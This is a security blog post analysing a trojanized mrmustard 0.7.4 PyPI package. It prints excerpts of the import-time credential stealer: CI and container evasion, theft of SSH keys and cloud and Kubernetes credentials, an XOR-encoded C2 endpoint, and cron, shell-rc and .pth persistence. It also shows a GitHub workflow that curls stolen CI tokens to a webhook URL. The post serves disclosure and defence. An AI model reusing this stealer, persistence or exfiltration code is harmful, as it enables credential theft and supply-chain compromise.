---
title: "mrmustard PyPI Package Trojanized to Steal Credentials"
description: "Version 0.7.4 of Xanadu's mrmustard quantum computing library shipped to PyPI with no matching GitHub release. It carries a 258-line credential stealer that harvests SSH keys, AWS and Kubernetes credentials on import and installs three separate persistence hooks, published through a compromised maintainer account after CI tokens were stolen."
url: "https://safedep.io/blog/mrmustard-malicious-pypi-package"
author: "Sahil Bansal"
published: "2026-07-24"
---

# mrmustard PyPI Package Trojanized to Steal Credentials

## TL;DR

A malicious version of `mrmustard`, the photonic quantum computing library from Xanadu, was published to PyPI on July 23, 2026. Anyone who ran `import mrmustard` from version `0.7.4` on a laptop or workstation had their SSH private keys, AWS credentials, and Kubernetes config read off disk and sent to an attacker server, and had three separate persistence mechanisms installed that keep a stealer running long after the package is uninstalled. The credential theft targets research and HPC environments, collecting SLURM job queues and GPU inventories alongside the usual cloud secrets.

The malicious code sits in `mrmustard/__init__.py` as a 258-line function named `_check_tf_compatibility()`. The rest of the release is byte-identical to the previous clean version, `0.7.3`. A release-provenance gap separated the two before anyone read a line of the code. Version `0.7.4` exists on PyPI but has no corresponding tag, release, or commit in the [XanaduAI/MrMustard GitHub repository](https://github.com/XanaduAI/MrMustard), whose tags stop at `v0.7.3`. The package was published through the account of `ziofil`, the project's original author and top contributor, after that account was used to steal the project's CI publishing tokens. PyPI has since quarantined the project.

**Impact:**

- Importing `mrmustard@0.7.4` reads every SSH private key under `~/.ssh`, plus `~/.aws/credentials`, `~/.aws/config`, and `~/.kube/config`, and POSTs them to an attacker C2
- The payload collects host recon aimed at research clusters: SLURM `squeue` output, `nvidia-smi` GPU inventory, public IP, hostname, `id` output, and the full `pip freeze` list
- A source-less compiled `hw_probe.pyc` is written to `~/.cache/.tf_cache/` and launched by three independent persistence hooks (cron, shell rc, and a site-packages `.pth` file)
- The `.pth` hook runs the stealer on every Python invocation on the host, and survives `pip uninstall mrmustard`
- The stealer skips execution under CI environment variables and inside containers, so it fires on developer and researcher machines rather than build systems
- A poisoned GitHub Actions workflow in the same operation exfiltrated the project's `PIPY_TOKEN` and `CODECOV_TOKEN`

**Affected package:** `mrmustard@0.7.4` (PyPI). Clean: `0.7.3` and earlier. sdist SHA256 `0404f8590fdaef95280c1d908068f31bf2321fe887faabf0c2329ba67c7203cb`.

## A PyPI release with no matching GitHub tag

The clean `mrmustard@0.7.3` was published to PyPI on March 28, 2024, alongside the `v0.7.3` GitHub release. Version `0.7.4` was uploaded to PyPI on July 23, 2026, more than two years later, with no `v0.7.4` tag, no release, and no commit on the default branch. The most recent release on GitHub is `v1.0.0a1`, and the most recent stable tag is `v0.7.3`. A stable-looking `0.7.4` that appears only on the package registry, with the version-control history skipping straight past it, points to a publishing-credential or CI compromise rather than a normal release.

Diffing the two source distributions confirms how surgical the change is. Three files differ, and two of them are metadata:

```
# diff mrmustard-0.7.3 vs mrmustard-0.7.4 (sdist)
Files mrmustard/__init__.py differ
Files PKG-INFO differ          # version bump 0.7.3 -> 0.7.4, newer build toolchain
Files pyproject.toml differ    # version = "0.7.3" -> "0.7.4"
```

Every other file across the package is identical. The entire attack is 258 lines added to `mrmustard/__init__.py`, which grows from 85 to 343 lines. The injected function is placed right after the legitimate imports and before the real `version()` and `about()` helpers, so the file still reads like the genuine module.

## The injected payload

The malicious function runs on import and hides its work in a daemon thread so the import returns with no visible delay.

```python
# mrmustard/__init__.py @ 0.7.4 (sdist), lines 24-31, 276-279
def _check_tf_compatibility():
    import threading
    def _run():
        try:
            import base64 as _b, hashlib as _h, json as _j, os as _o
            import platform as _p, subprocess as _s, sys as _sys, urllib.request as _u
            import time as _t
            ...
    threading.Thread(target=_run, daemon=True).start()

_check_tf_compatibility()
del _check_tf_compatibility
```

The name mimics a TensorFlow hardware check, which is plausible cover because MrMustard uses TensorFlow as a backend. After the call, `del _check_tf_compatibility` removes the name from the module namespace, so code that inspects `mrmustard` after import finds no trace of the function.

Before doing anything, the payload checks that it is not running in CI or a container, and bails out if it is.

```python
# mrmustard/__init__.py @ 0.7.4 (sdist), lines 45-59
for m in ("CI", "GITHUB_ACTIONS", "GITLAB_CI", "JENKINS_URL",
          "TRAVIS", "CIRCLECI", "BUILDKITE", "CODEBUILD_BUILD_ID"):
    if _o.environ.get(m):
        return

for p in ("/.dockerenv", "/run/.containerenv"):
    if _o.path.exists(p):
        return
try:
    with open("/proc/1/cgroup") as _f:
        _cg = _f.read()
    if "docker" in _cg or "kubepods" in _cg or "lxc" in _cg:
        return
except Exception:
    pass
```

This inverts the usual sandbox-evasion goal. Rather than dodging a malware analysis VM, it dodges build systems and CI runners, where stolen credentials are short-lived and monitored, to concentrate on developer and researcher laptops where long-lived keys live. A per-host id derived from `sha256(hostname + user + machine)` and an hourly lock file in `~/.cache/.tf_cache/` throttle repeat runs.

### What the payload collects

The harvesting is a single dictionary built from files on disk and the output of a handful of commands. It reads SSH private keys by scanning `~/.ssh` for any file that is not a `.pub` or a `known_hosts` and contains the string `PRIVATE KEY`.

```python
# mrmustard/__init__.py @ 0.7.4 (sdist), lines 128-149 (abridged)
_info = {
    "h": _p.node(),                                   # hostname
    "u": _o.getenv("USER", _o.getenv("USERNAME", "")),
    "sk": _sk(),                                      # ~/.ssh private keys
    "ac": _r("~/.aws/credentials"),
    "ao": _r("~/.aws/config"),
    "kc": _r("~/.kube/config"),
    "dep": _c([_sys.executable, "-m", "pip", "freeze"]),
    "uid": _c(["id"]),
    "eip": _eip(),                                    # public IP via ifconfig.me
    "net": _c(["hostname", "-I"]),
    "gpu": _c(["nvidia-smi", "--query-gpu=name,memory.total", "--format=csv,noheader"]),
    "sq": _c(["squeue", "-u", _o.getenv("USER", "nobody")]),
    "t": "i",
}
```

The environment variables it keeps are filtered to a prefix list that reads like a target profile: `AWS_`, `KUBE`, `DOCKER_`, `TF_VAR_`, `CUDA`, `NVIDIA`, `GPU`, `CONDA`, `VIRTUAL_ENV`, and the batch-scheduler prefixes `SLURM_`, `PBS_`, and `SGE_`. Collecting SLURM, PBS, and SGE state along with GPU inventory is deliberate targeting of HPC and research clusters, which fits the user base of a quantum computing library. Each file and command output is capped at 8192 bytes.

### Where the data goes

The C2 endpoint is stored base64-then-XOR encoded so it does not appear as a plaintext string in the file. The key is the byte string `tf_compat_v2`.

```python
# mrmustard/__init__.py @ 0.7.4 (sdist), lines 32-43
_K = b'tf_compat_v2'
_E = b'HBIrExxXX04ZOgJAHQUsTQkIHQMbJlhXGgMtBBZCBlBbPBleGAM8Fw=='
...
def _x(d):
    r = _b.b64decode(d)
    return ''.join(chr(b ^ _K[i % len(_K)]) for i, b in enumerate(r))
_ep = _x(_E)
```

Reimplementing that base64-then-XOR routine against the constant, without running the package, decodes `_ep` to `hxxps://metrics.femboy[.]energy/v1/collect`. The collected dictionary is JSON-encoded, XOR-encrypted with the same key, base64-wrapped as `{"d": "..."}`, and POSTed to that URL with a spoofed browser User-Agent. Every network and file operation is wrapped in a bare `except Exception: pass`, so nothing surfaces to the user if a step fails.

## How the payload persists

The payload compiles a compact second copy of the same stealer to bytecode and drops it as `~/.cache/.tf_cache/hw_probe.pyc`, then deletes the temporary source. Only the compiled `.pyc` remains on disk, so a grep for the C2 string or the stealer logic finds nothing without decompiling. Three separate launchers then point at that one file.

The cron launcher runs it every fifteen minutes:

```python
# mrmustard/__init__.py @ 0.7.4 (sdist), lines 232-237
if _B not in _ex:
    _cl = "*/15 * * * * /usr/bin/env python3 {} >/dev/null 2>&1".format(_B)
    _nc = _ex.rstrip() + "\n" + _cl + "\n"
    _p2 = _s.Popen(["crontab", "-"], stdin=_s.PIPE,
                   stdout=_s.DEVNULL, stderr=_s.DEVNULL)
    _p2.communicate(_nc.encode())
```

The shell launcher appends a hook to `~/.bashrc`, `~/.zshrc`, or the fish config, labelled with a comment that continues the TensorFlow cover story:

```python
# mrmustard/__init__.py @ 0.7.4 (sdist), lines 266-270
if _sh == "fish":
    _ln = "\n# tensorflow hardware compatibility check\n/usr/bin/env python3 {} &\n".format(_B)
else:
    _ln = "\n# tensorflow hardware compatibility check\n(/usr/bin/env python3 {} &) 2>/dev/null\n".format(_B)
```

### The .pth file that runs on every Python launch

The third launcher outlives the package that installed it. The payload writes a file named `mmcompat.pth` into the first writable directory returned by `site.getsitepackages()`.

```python
# mrmustard/__init__.py @ 0.7.4 (sdist), lines 239-251
import site
for _d in site.getsitepackages():
    if _o.path.isdir(_d) and _o.access(_d, _o.W_OK):
        _pth = _o.path.join(_d, _M + ".pth")   # _M = "mmcompat"
        if not _o.path.exists(_pth):
            with open(_pth, "w") as f:
                f.write(
                    "import subprocess,sys;subprocess.Popen("
                    "[sys.executable,'{}'],stdout=subprocess.DEVNULL,"
                    "stderr=subprocess.DEVNULL)\n".format(_B)
                )
        break
```

CPython's `site` module reads every `.pth` file in site-packages at interpreter startup, and any line that begins with `import` is executed as code. CPython added that behavior for path configuration. The payload abuses it to launch the stealer on every `python` and `python3` invocation on the host, whether or not `mrmustard` is imported. The persistence is now decoupled from the package that delivered it. Running `pip uninstall mrmustard` removes the library but leaves `mmcompat.pth`, `hw_probe.pyc`, and the cron and shell hooks in place. Auditing site-packages for `.pth` files whose lines contain `subprocess`, `Popen`, `exec`, or a network call catches this class of persistence.

## The GitHub account compromise

The malicious upload traces back to the project's GitHub repository. On the same day, two commits landed under the account of `ziofil`, who is Filippo Miatto, the project's original author and top contributor with 645 commits. This is a compromise of the primary maintainer account, not a rogue outside contributor.

The first commit, [`2ebfe28`](https://github.com/XanaduAI/MrMustard/commit/2ebfe28ab549492e74b98ce323fa881725cbfcf2) at 12:43 UTC, deleted seven legitimate workflow files and added one that probes the project's self-hosted CI runners:

```yaml
# .github/workflows/test.yml @ 2ebfe28
name: nwmlqsxgnc
on:
  push:
    branches: nwmlqsxgnc
jobs:
  testing:
    runs-on:
      - self-hosted
    steps:
      - name: Run Tests
        run: whoami
```

Targeting `self-hosted` runners with a `whoami` is reconnaissance of whatever identity and access the project's own build machines carry. The second commit, [`80aba72`](https://github.com/XanaduAI/MrMustard/commit/80aba721b2a902bc6efb04e3c77c3bdd28d1e716) at 19:51 UTC, added a workflow that steals the project's publishing secrets:

```yaml
# .github/workflows/ci-mrmustard-check.yml @ 80aba72
- name: verify
  env:
    S1: ${{ secrets.PIPY_TOKEN }}
    S2: ${{ secrets.CODECOV_TOKEN }}
  run: |
    PAYLOAD=$(jq -n '{"PIPY_TOKEN": env.S1, "CODECOV_TOKEN": env.S2, "repo": "XanaduAI/MrMustard"}' | base64 -w 0)
    curl -s -X POST "https://webhook.site/710babde-6ace-47fe-83f4-9688e6548df9" -H "Content-Type: application/json" -d '{"data": "'"$PAYLOAD"'", "type": "mrmustard"}'
```

The workflow references the repository's real secret names, including the misspelled `PIPY_TOKEN`, which means the attacker already had enough repository access to read the secret configuration. It base64-wraps both tokens and curls them to a `webhook[.]site` dead drop. The malicious `0.7.4` sdist was uploaded to PyPI at 22:00 UTC, about two hours after that token exfiltration ran. The timing is consistent with the stolen PyPI token being used to publish the trojanized package, though the upload channel itself is not something the source confirms.

One small tell corroborates the account-takeover reading. The two malicious commits carry different git author names, `ziofil` on `2ebfe28` and `Filippo Miatto` on `80aba72`, under the same account and no-reply email, which is the kind of inconsistency an operator produces when they do not perfectly match the victim's local git config. Both malicious branches, `ci/mrmustard-check` and `nwmlqsxgnc`, have since been deleted, but the commits remain reachable by SHA, which is why the links above are pinned to full commit hashes rather than a branch.

## Indicators of compromise

| Indicator                                                          | Type            | Notes                                                 |
| ------------------------------------------------------------------ | --------------- | ----------------------------------------------------- |
| `pkg:pypi/mrmustard@0.7.4`                                         | Package         | Malicious release. `0.7.3` and earlier are clean      |
| `0404f8590fdaef95280c1d908068f31bf2321fe887faabf0c2329ba67c7203cb` | SHA256          | `mrmustard-0.7.4.tar.gz` (sdist)                      |
| `81f0d1291a975d012d1b892cf9967557fdbb1ad4e1ac0545702ad235ace1cac5` | SHA256          | `mrmustard-0.7.4-py3-none-any.whl` (wheel)            |
| `hxxps://metrics.femboy[.]energy/v1/collect`                       | URL             | Credential exfiltration C2 (HTTP POST)                |
| `metrics.femboy[.]energy`                                          | Domain          | C2 host                                               |
| `hxxps://webhook[.]site/710babde-6ace-47fe-83f4-9688e6548df9`      | URL             | Dead drop for stolen `PIPY_TOKEN` and `CODECOV_TOKEN` |
| `~/.cache/.tf_cache/hw_probe.pyc`                                  | File            | Compiled-only persistent stealer                      |
| `~/.cache/.tf_cache/`                                              | Directory       | Working dir, also holds `.lock_*` and `.ts_*` files   |
| `mmcompat.pth`                                                     | File            | Persistence launcher in site-packages                 |
| `*/15 * * * * /usr/bin/env python3 .../hw_probe.pyc`               | Cron            | Persistence, every 15 minutes                         |
| `# tensorflow hardware compatibility check`                        | Shell rc marker | Line preceding the hook in `.bashrc`/`.zshrc`         |
| `2ebfe28`, `80aba72`                                               | Git commits     | Malicious commits on XanaduAI/MrMustard               |

## Detection and remediation

Treat any machine that imported `mrmustard@0.7.4`, ran a Python process while `mmcompat.pth` was present, or executed the cron or shell hook as compromised. The credentials the payload reads are the priority. Rotate SSH keys, AWS access keys, and Kubernetes credentials, and review CloudTrail and cluster audit logs for use of those keys after July 23, 2026. On shared HPC login nodes the blast radius is larger than one user, since the `.pth` file dropped into a shared site-packages directory runs for every user who starts Python there.

Removal takes more than uninstalling the package. Delete `~/.cache/.tf_cache/`, remove `mmcompat.pth` from every site-packages directory, run `crontab -l` and strip the `*/15` entry that points at `hw_probe.pyc`, and remove the `# tensorflow hardware compatibility check` block from shell rc files. For the project itself, treat the `PIPY_TOKEN` and `CODECOV_TOKEN` as burned and rotate them, and inspect the self-hosted runner that the `whoami` workflow probed.

The detection lesson is the provenance gap. A package version that appears on PyPI with no matching tag, release, or commit in its source repository is worth blocking until the maintainer confirms it, the same signal that surfaced the [jscrambler npm compromise](https://safedep.io/blog/jscrambler-npm-supply-chain-compromise). Import-time credential theft in Python packages has become a pattern rather than an exception, as seen in the [malicious hermes-px PyPI stealer](https://safedep.io/blog/malicious-hermes-px-pypi-ai-conversation-stealer), and maintainer-account takeover keeps enabling it, as in the [@mastra npm scope takeover](https://safedep.io/blog/mastra-npm-scope-takeover-supply-chain-attack).

SafeDep's [Package Manager Guard (pmg)](https://github.com/safedep/pmg) blocks packages with a malware verdict before they install, and the verdict comes from analyzing the payload rather than trusting the presence or absence of a release tag. Related: run [`vet`](https://github.com/safedep/vet) against your lockfile to check what you already have installed.

## References

- [XanaduAI/MrMustard issue #656](https://github.com/XanaduAI/MrMustard/issues/656), the GitHub issue that first flagged the malicious `0.7.4` release.
